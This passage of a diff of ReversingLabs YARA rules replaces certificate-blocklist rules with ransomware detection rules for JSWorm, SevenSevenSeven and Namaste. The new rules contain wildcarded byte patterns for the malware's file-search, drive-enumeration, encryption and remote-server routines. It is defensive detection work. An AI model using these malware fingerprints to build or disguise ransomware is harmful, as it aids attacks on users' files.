"TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "JSWorm" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ohanae" and pe.signatures [ i ] . serial == "32:66:50:79:c5:a5:85:4a:68:33:62:3c:a7:7f:f5:ac" and 1381967999 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_01A90094C83412C00Cf98Dd2Eb0D7042 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "e5059974-9ea2-5497-a728-c21a6cdd30e4" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L405-L421" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5a3de0e6de5cda39e40988f9e2324cbee3e059aff5ceaf7fd819de8bf7215808" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files = { + 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? A8 ?? + 0F 85 ?? ?? ?? ?? A8 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 C6 45 ?? ?? 8B 4E ?? 8B 56 ?? 3B CA 73 + ?? 8D 41 ?? 89 46 ?? 8B C6 83 FA ?? 72 ?? 8B 06 C7 04 48 ?? ?? ?? ?? EB ?? 6A ?? C6 + 85 ?? ?? ?? ?? ?? 8B CE FF B5 ?? ?? ?? ?? 6A ?? E8 + } + $find_drives = { + 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 0F 84 ?? + ?? ?? ?? 8B CE C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 51 ?? 8A 01 + 41 84 C0 75 ?? 2B CA 51 56 8D 4D ?? E8 ?? ?? ?? ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8B + CC 89 65 ?? 33 C0 6A ?? 68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 66 + 89 01 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 55 ?? 8B CC E8 ?? ?? ?? ?? C6 45 ?? ?? + E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B + C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 + ?? ?? ?? ?? 83 C4 ?? 8B C6 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 46 03 F0 38 0E 0F 85 + ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 + 5D C3 E8 ?? ?? ?? ?? E8 + } + $encrypt_files_p1 = { + 8B 00 50 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B F0 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? + 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? + ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 83 FA ?? + 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? + 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B + CB C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 E6 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 66 89 + 85 ?? ?? ?? ?? 8D 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 53 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 78 ?? ?? 72 ?? 8B 00 56 50 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 FA + ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 + 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? + ?? 8B 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 + 85 ?? ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA + ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 + E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF + 15 ?? ?? ?? ?? 8B D8 8D 45 ?? 50 53 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 7D ?? ?? + 0F 8C ?? ?? ?? ?? 7F ?? 81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53 + FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 8B F8 89 BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? + B9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? F3 A5 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 + } + $encrypt_files_p2 = { + 8B 86 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 86 ?? ?? ?? ?? 89 85 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 + 86 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 86 ?? ?? ?? ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ?? + 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53 + FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B F4 8B CA 33 C0 + C7 46 ?? ?? ?? ?? ?? 8D 79 ?? C7 46 ?? ?? ?? ?? ?? 66 89 06 66 8B 01 83 C1 ?? 66 85 + C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53 8B 1D ?? ?? ?? ?? FF D3 6A ?? 8D 45 ?? + 50 FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B + F8 89 BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? F3 A5 8B 45 ?? 8D 8D ?? ?? ?? ?? 50 68 + ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 + FF D3 6A ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FreeVox SA" and pe.signatures [ i ] . serial == "01:a9:00:94:c8:34:12:c0:0c:f9:8d:d2:eb:0d:70:42" and 1376956799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $find_drives and $find_files and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_55Efe24B9674855Baf16E67716479C71 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Sevensevenseven : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects SevenSevenSeven ransomware." author = "ReversingLabs" - id = "c1a4102e-ce78-5a4d-95ea-b9e394df0c28" - date = "2020-08-05" - modified = "2023-11-08" + id = "049531bd-9505-5da1-9512-980383c8c5ec" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L423-L439" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.SevenSevenSeven.yara#L1-L148" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2cf7a76ae3c3a698564013ff545c74d0319face5aa19416c93bf10f45f84f8c9" + logic_hash = "583a8ac746cd749bd3927f10c864a3ac84f82f8bbd8d0ebf117e22b016d7ca94" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "SevenSevenSeven" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "S2BVISIO BELGIQUE SA" and pe.signatures [ i ] . serial == "55:ef:e2:4b:96:74:85:5b:af:16:e6:77:16:47:9c:71" and 1374451199 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_094Bf19D509D3074913995160B195B6C : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "8241e2c6-e4e7-581c-b759-6314d2e28a4d" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L441-L457" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3c1ed012716f36876d9375838befb9821b87cafc6aca57a0f18392f80f5ba325" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $file_search_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? + ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 45 ?? 53 56 57 89 65 ?? BE ?? ?? ?? ?? 89 75 + ?? 33 DB 89 5D ?? 88 5D ?? 89 75 ?? 89 5D ?? 88 5D ?? 89 75 ?? 88 5D ?? 68 ?? ?? ?? + ?? 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 53 50 8D 4D ?? E8 + ?? ?? ?? ?? BF ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? + ?? 83 C4 ?? 39 7D ?? 8B 45 ?? 73 ?? 8D 45 ?? 8D 8D ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? EB ?? BE ?? ?? ?? ?? 90 6A ?? 53 8D + 4D ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8B 45 ?? 50 8D 8D ?? ?? ?? + ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? + 53 50 8D 4D ?? E8 ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 89 B5 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? 39 BD ?? ?? ?? + ?? 72 ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 B5 ?? ?? ?? ?? 89 9D ?? ?? + ?? ?? 88 9D ?? ?? ?? ?? 39 7D ?? 8B 75 ?? 73 ?? 8D 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? + ?? ?? ?? 85 C0 74 ?? B8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 + } + $file_search_p2 = { + 74 ?? B8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 3B + C3 0F 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 + ?? 8B 45 ?? 3A C3 0F 84 ?? ?? ?? ?? 50 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 3B + F3 0F 84 ?? ?? ?? ?? 39 7D ?? 72 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 39 7D ?? 72 + ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? 88 5D ?? 39 7D + ?? 0F 82 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 E9 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 38 1E 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? + ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF + 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 89 5D ?? + 39 7D ?? 8B 45 ?? 73 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? EB + ?? B8 ?? ?? ?? ?? C3 + } + $encrypt_file_1 = { + 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 55 8B AC 24 ?? ?? ?? ?? 56 55 89 84 24 ?? ?? ?? ?? + 33 F6 FF 15 ?? ?? ?? ?? 33 C9 85 C0 76 ?? 8D 9B ?? ?? ?? ?? 80 3C 29 ?? 75 ?? 46 41 + 3B C8 72 ?? 83 FE ?? 75 ?? 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? + ?? ?? ?? C3 57 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8B + F8 83 FF ?? 75 ?? 5F 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? + ?? C3 53 6A ?? 57 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 73 ?? 57 FF 15 ?? ?? ?? ?? 5B 5F + 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 53 6A ?? FF 15 + ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 57 8B F0 FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 53 56 + 57 FF 15 ?? ?? ?? ?? 33 C0 85 DB 76 ?? 8D 49 ?? 80 34 30 ?? 40 3B C3 72 ?? 6A ?? 6A + ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 51 53 56 57 FF 15 ?? ?? ?? ?? 57 FF + 15 ?? ?? ?? ?? 8D 54 24 ?? 52 FF 15 ?? ?? ?? ?? 0F B7 44 24 ?? 0F B7 4C 24 ?? 0F B7 + 54 24 ?? 68 ?? ?? ?? ?? 50 0F B7 44 24 ?? 51 0F B7 4C 24 ?? 52 0F B7 54 24 ?? 50 51 + 52 55 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 52 55 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B + 8C 24 ?? ?? ?? ?? 5B 5F 5E B8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 + } + $encrypt_file_2 = { + 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 55 8B AC 24 ?? ?? ?? ?? 56 55 89 84 24 ?? ?? ?? ?? + 33 F6 FF 15 ?? ?? ?? ?? 33 C9 85 C0 76 ?? 8D 9B ?? ?? ?? ?? 80 3C 29 ?? 75 ?? 46 41 + 3B C8 72 ?? 83 FE ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 55 FF 15 ?? + ?? ?? ?? 8B F0 83 FE ?? 75 ?? 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 + ?? ?? ?? ?? C3 53 6A ?? 56 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 73 ?? 56 FF 15 ?? ?? ?? + ?? 5B 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 57 8D 83 + ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 8B F8 FF 15 ?? ?? ?? ?? + 6A ?? 8D 4C 24 ?? 51 53 57 56 FF 15 ?? ?? ?? ?? 8B CB C1 E9 ?? 41 74 ?? 8D 47 ?? B2 + ?? 80 70 ?? ?? 80 70 ?? ?? 80 30 ?? 80 70 ?? ?? 80 70 ?? ?? 80 70 ?? ?? 80 70 ?? ?? + 30 50 ?? 83 C0 ?? 49 75 ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 54 24 ?? + 52 53 57 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? + 0F B7 4C 24 ?? 0F B7 54 24 ?? 0F B7 44 24 ?? 68 ?? ?? ?? ?? 51 0F B7 4C 24 ?? 52 0F + B7 54 24 ?? 50 0F B7 44 24 ?? 51 52 50 55 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 FF 15 ?? ?? + ?? ?? 8D 54 24 ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 55 FF 15 + ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5B 5E B8 ?? ?? ?? ?? 5D E8 + ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 + } + $remote_server_1 = { + 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 55 56 57 68 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 33 FF 57 6A ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 89 44 24 ?? 33 DB + BD ?? ?? ?? ?? 8B 44 24 ?? BA ?? ?? ?? ?? 8B CB D3 E2 85 D0 0F 84 ?? ?? ?? ?? 8A CB + 8D 54 24 ?? 80 C1 ?? 52 88 4C 24 ?? 66 C7 44 24 ?? ?? ?? FF D6 83 F8 ?? 74 ?? 8D 44 + 24 ?? 50 FF D6 83 F8 ?? 75 ?? 8D 44 24 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 8D + 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 50 8D 4C 24 ?? 51 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 54 + 24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 83 F8 ?? 72 ?? 8B 44 24 ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 43 83 FB ?? 0F 8C ?? ?? + ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? + ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5D 33 C0 5B E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2 + } + $remote_server_2 = { + 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 57 33 FF 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 89 84 + 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 66 83 7C 24 ?? ?? + 0F 85 ?? ?? ?? ?? 66 83 7C 24 ?? ?? 0F 87 ?? ?? ?? ?? 53 55 56 68 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? + 8D 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 89 44 24 ?? 33 DB BD ?? ?? + ?? ?? 8B CB B8 ?? ?? ?? ?? D3 E0 8B 4C 24 ?? 85 C1 0F 84 ?? ?? ?? ?? 8A D3 8D 44 24 + ?? 80 C2 ?? 50 88 54 24 ?? 66 C7 44 24 ?? ?? ?? FF D6 83 F8 ?? 74 ?? 8D 4C 24 ?? 51 + FF D6 83 F8 ?? 75 ?? 8D 44 24 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 8D 50 ?? 8A + 08 40 84 C9 75 ?? 2B C2 50 8D 54 24 ?? 52 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 6A + ?? 50 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 83 F8 ?? 72 ?? 8B 4C 24 ?? 51 E8 ?? ?? ?? + ?? 83 C4 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 43 83 FB ?? 0F 8C ?? ?? ?? ?? E8 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B + 8C 24 ?? ?? ?? ?? 5E 5D 5B 33 C0 5F E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2 ?? ?? 57 FF + 15 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Porral Twinware S.L.L." and pe.signatures [ i ] . serial == "09:4b:f1:9d:50:9d:30:74:91:39:95:16:0b:19:5b:6c" and 1373241599 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $file_search_p* ) ) and ( ( ( $encrypt_file_1 ) and ( $remote_server_1 ) ) or ( ( $encrypt_file_2 ) and ( $remote_server_2 ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_0A77Cf3Ba49B64E6Cbe5Fb4A6A6Aacc6 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Namaste : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Namaste ransomware." author = "ReversingLabs" - id = "4fb06917-ccbd-514c-a936-e337c31c6e65" - date = "2020-08-05" - modified = "2023-11-08" + id = "e85d7ec3-367b-5bde-a570-8caa1f6cd61b" + date = "2021-08-12" + modified = "2021-08-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L459-L475" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Namaste.yara#L1-L81" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3bebc4a36b57526505167d8f075d468e4775d66c81ce08644c506d9be94efba0" + logic_hash = "5a952276f41b5524bcb82a9ceb076983d2faf2864b3bbd0a06d49bbd5edc1e0e" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Namaste" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "I.ST.SAN. Srl" and pe.signatures [ i ] . serial == "0a:77:cf:3b:a4:9b:64:e6:cb:e5:fb:4a:6a:6a:ac:c6" and 1371081599 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_1F4C22Da1107D20C1Eda04569D58E573 : 